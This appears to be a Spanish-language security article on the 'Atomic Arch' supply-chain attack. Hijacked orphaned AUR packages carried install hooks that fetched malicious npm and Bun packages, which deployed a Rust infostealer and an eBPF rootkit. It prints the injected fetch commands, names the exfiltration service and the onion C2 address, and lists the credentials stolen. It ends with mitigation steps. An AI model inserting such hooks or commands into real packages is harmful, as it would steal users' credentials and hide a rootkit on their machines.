Ataque supply chain en Arch Linux: Malware y rootkit en el AUR

El ecosistema de código abierto de Linux ha sido sacudido por uno de los incidentes de seguridad más sofisticados y alarmantes de su historia reciente. El 11 de junio de 2026, analistas de seguridad de Sonatype identificaron el inicio de «Atomic Arch», un devastador ataque supply chain que logró comprometer casi 2,000 paquetes alojados en el Arch User Repository (AUR). Esta campaña no explotó una vulnerabilidad de día cero en el software de Arch Linux, sino que manipuló de manera quirúrgica la confianza implícita depositada en los procesos de mantenimiento comunitario. Al apoderarse de proyectos abandonados y modificar sus recetas de compilación, los atacantes desplegaron un sofisticado malware en miles de estaciones de trabajo de desarrolladores y servidores corporativos.

El Modelo de Confianza del AUR y la Brecha de Orfandad

Para comprender el alcance y el peligro latente de este ataque supply chain, es fundamental analizar cómo funciona el Arch User Repository (AUR). A diferencia de los repositorios oficiales de Arch Linux, que están rigurosamente firmados y controlados por los desarrolladores principales de la distribución, el AUR es un repositorio mantenido por la comunidad. En este espacio, cualquier usuario puede subir recetas de construcción de paquetes conocidas como archivos PKGBUILD.

Cuando un desarrollador decide dejar de dar soporte a un software, el paquete queda en un estado «huérfano» (orphaned). De acuerdo con las políticas estándar del AUR, cualquier miembro de la comunidad puede reclamar legalmente la propiedad de un paquete huérfano para continuar con su mantenimiento. Los atacantes detrás de la campaña «Atomic Arch» explotaron este proceso exacto de transferencia de propiedad. Reclamaron el control de cientos de proyectos legítimos que acumulaban años de confianza histórica.

Para evitar sospechas durante los primeros días de la campaña, los atacantes emplearon técnicas avanzadas de suplantación de identidad. Al utilizar herramientas Git para falsificar metadatos de los commits, lograron simular firmas y nombres de mantenedores históricos y respetados dentro de la comunidad, como la cuenta oficial «arojas». Para un usuario promedio que revisara el historial del repositorio antes de actualizar, el paquete parecía seguir bajo el resguardo de un desarrollador de confianza.

La anatomía técnica del ataque supply chain en AUR

Una vez que los atacantes asumían el control de los paquetes huérfanos, procedían a reescribir las instrucciones de construcción contenidas en el archivo PKGBUILD o en los scripts de instalación asociados (`.install`). En lugar de alterar el código fuente original de la aplicación, inyectaban instrucciones adicionales en los ganchos de instalación (post-install hooks).

Durante la compilación o instalación del paquete, el script modificado ejecutaba sigilosamente comandos como el siguiente en el directorio `/tmp`:

npm install atomic-lockfile minimist chalk

Este comando descargaba una dependencia maliciosa llamada atomic-lockfile desde el registro público de npm. Debido a que las herramientas de seguridad basadas en firmas tradicionales analizan el software de manera aislada, el paquete original del AUR pasaba las inspecciones como «limpio». La malicia no estaba en el software descargado, sino en la receta utilizada para empaquetarlo.

La primera ola: El gancho de preinstalación de npm

La primera fase de la campaña, identificada el 11 de junio de 2026, utilizaba el paquete npm comprometido [email protected]. Este paquete contenía un gancho de preinstalación (preinstall hook) ubicado en `./src/hooks/deps`. Al momento de ejecutarse la instalación mediante gestores de paquetes como npm o Bun, el gancho llamaba a un binario ELF nativo de Linux llamado deps.

Los análisis de ingeniería inversa revelaron que este binario era un ladrón de información (infostealer) altamente optimizado, desarrollado en Rust y compilado de forma asíncrona. Una vez en ejecución, el binario realizaba un barrido exhaustivo en busca de credenciales críticas en la máquina de la víctima:

• Credenciales de desarrollo: Tokens de acceso personal de GitHub y npm, credenciales de Kubernetes, secretos de HashiCorp Vault y claves API de OpenAI y ChatGPT.
• Datos de navegadores web: Cookies de sesión, contraseñas guardadas y datos de almacenamiento local de navegadores basados en Chromium, como Google Chrome, Microsoft Edge y Brave.
• Sesiones de aplicaciones de comunicación: Tokens de sesión de clientes de escritorio basados en Electron, como Discord, Slack, Microsoft Teams y Telegram.
• Información del sistema y la nube: Claves privadas SSH, historiales de shell (`.bash_history`, `.zsh_history`), perfiles de conexión VPN y claves de proveedores de nube como AWS y Google Cloud.
• Criptoactivos: Frases semilla y datos de almacenamiento de billeteras de criptomonedas de escritorio, como Exodus.

Para enviar los datos robados de vuelta a los atacantes, el binario utilizaba herramientas de carga web estándar cargando archivos cifrados en formato multipart POST hacia el servicio público para compartir archivos temp.sh. Al mismo tiempo, establecía un canal secundario de comando y control (C2) utilizando un servicio oculto de la red Tor en la dirección onion: `olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion/api/agent`.

La escalada silenciosa: eBPF y el arte de la invisibilidad

El verdadero peligro de Atomic Arch se manifestaba cuando el proceso de compilación del paquete se ejecutaba con privilegios de superusuario (root). En muchos sistemas configurados de manera laxa, o cuando los usuarios ejecutan utilidades como `sudo yay` o `sudo paru` de forma imprudente, el script de postinstalación se ejecuta con el nivel más alto de privilegios del sistema.

Bajo privilegios de root, el binario de Rust desplegaba un rootkit en el kernel basado en eBPF (Extended Berkeley Packet Filter). El componente del rootkit, denominado administrativamente como `scales.bpf.c`, se encargaba de interceptar de forma directa la llamada al sistema getdents64 (Get Directory Entries), que es utilizada por el sistema operativo para listar carpetas, procesos y conexiones de red.

Para mantener el control del sistema de manera perpetua e invisible, el rootkit creaba y gestionaba tres mapas BPF en el directorio persistente `/sys/fs/bpf/`:

1. hidden_pids: Utilizado para ocultar los identificadores de proceso (PIDs) del malware de herramientas de monitoreo como `ps`, `top` o `htop`.
2. hidden_names: Utilizado para ocultar del sistema de archivos cualquier archivo o directorio que contuviera nombres específicos relacionados con la intrusión.
3. hidden_inodes: Utilizado para ocultar los sockets de red utilizados para las comunicaciones Tor C2, lo que impedía que comandos como `netstat` o `ss` revelaran las conexiones salientes de la máquina.

Este nivel de sigilo volvía completamente inútiles a las soluciones tradicionales de detección y respuesta en endpoints (EDR) de espacio de usuario. Adicionalmente, el malware implementaba técnicas de evasión de depuración que terminaban procesos activos de `ptrace` para impedir que ingenieros de seguridad analizaran el binario de forma dinámica en sistemas comprometidos.

La evolución táctica: La segunda y tercera ola obfuscadas

A pesar de que el equipo de mantenedores de Arch Linux reaccionó con rapidez el 11 de junio, eliminando cientos de paquetes maliciosos y bloqueando las cuentas comprometidas, los atacantes demostraron una persistencia implacable.

El 12 de junio de 2026 comenzó una segunda ola del ataque. Al percatarse de que el paquete `atomic-lockfile` de npm había sido purgado, los atacantes cambiaron su infraestructura de entrega. En esta nueva fase, comenzaron a inyectar comandos que utilizaban el entorno de ejecución Bun en lugar de Node.js. Los PKGBUILD modificados realizaban la llamada a:

bun install js-digest

El paquete js-digest, publicado bajo el alias de «herbsobering», cumplía exactamente la misma función que su predecesor, pero explotaba un vector alternativo para evadir las herramientas automáticas de escaneo de Node.js.

Para el 14 de junio de 2026, la campaña entró en su tercera fase, escalando la cantidad de paquetes afectados de los 400 iniciales a casi 2,000. En esta tercera ola, el código de los ganchos de instalación fue sometido a un proceso extremo de ofuscación de código. En lugar de llamar directamente a instalaciones web evidentes, el script generaba un archivo JavaScript oculto y altamente ofuscado dentro de los directorios temporales de la máquina víctima. Este script dinámico retrasaba su ejecución y descargaba los componentes maliciosos solo después de que el proceso de instalación general del AUR se hubiera completado con éxito, evadiendo con éxito la detección de telemetría de red activa en tiempo real.

Investigadores de seguridad han observado notables similitudes técnicas entre la campaña «Atomic Arch» y un gusano detectado a inicios de junio de 2026 conocido como «IronWorm». Ambas amenazas comparten estructuras idénticas en el diseño de su binario asíncrono en Rust, los mismos mecanismos de rootkit eBPF y la misma estructura de rutas `/api/agent` bajo servidores C2 ocultos en Tor. Esto sugiere que estamos ante un actor de amenazas altamente coordinado y con recursos significativos, enfocado de manera agresiva en atacar los sistemas de los desarrolladores de software.

Acciones Inmediatas de Mitigación y Auditoría

Para los usuarios de Arch Linux y distribuciones derivadas (como CachyOS) que utilicen el repositorio AUR de manera activa, es imperativo realizar una auditoría inmediata de sus sistemas si realizaron actualizaciones o instalaciones a partir del 9 de junio de 2026.

La comunidad de seguridad ha desarrollado y distribuido herramientas de código abierto específicas para buscar anomalías en los paquetes instalados localmente. Sin embargo, se pueden tomar medidas manuales de forma inmediata:

• Auditar paquetes locales: Ejecutar el comando pacman -Qm para generar una lista completa de todos los paquetes instalados desde fuentes externas (como el AUR). Cruce esta lista con los repositorios y listados de paquetes comprometidos publicados por los mantenedores de Arch Linux.
• Inspección de servicios activos: Comprobar la existencia de archivos systemd o servicios que se hayan creado recientemente mediante el comando:

  find /etc/systemd/system -newermt "2026-06-09"

• Rotación integral de secretos: Si se sospecha de una intrusión en el sistema, es fundamental asumir que el entorno está completamente comprometido. Se deben cambiar de inmediato todas las contraseñas guardadas en navegadores, regenerar claves privadas SSH, invalidar tokens de GitHub, npm, OpenAI, Slack y credenciales de servicios en la nube.
• Reinstalación del sistema de raíz: Debido a que el rootkit de eBPF se inyecta directamente en el espacio del kernel de Linux, es virtualmente invisible para las herramientas antivirus ordinarias ejecutadas dentro del sistema. Si el proceso de instalación de un paquete infectado se realizó con privilegios de root, la única solución garantizada para recuperar la integridad del sistema es realizar un formateo completo e instalar el sistema operativo desde un medio de instalación confiable.

Para mitigar riesgos futuros en la cadena de suministro, la administración del AUR ha restringido temporalmente funciones críticas como la adopción automatizada de paquetes huérfanos y la creación de nuevas cuentas de desarrollo. No obstante, este incidente resalta la lección definitiva de la seguridad en Linux moderno: el uso de repositorios comunitarios exige una vigilancia absoluta de los usuarios. La buena práctica de leer minuciosamente los archivos PKGBUILD y los scripts `.install` antes de presionar la tecla «Enter» ya no es una recomendación opcional, sino un requisito de supervivencia digital básica.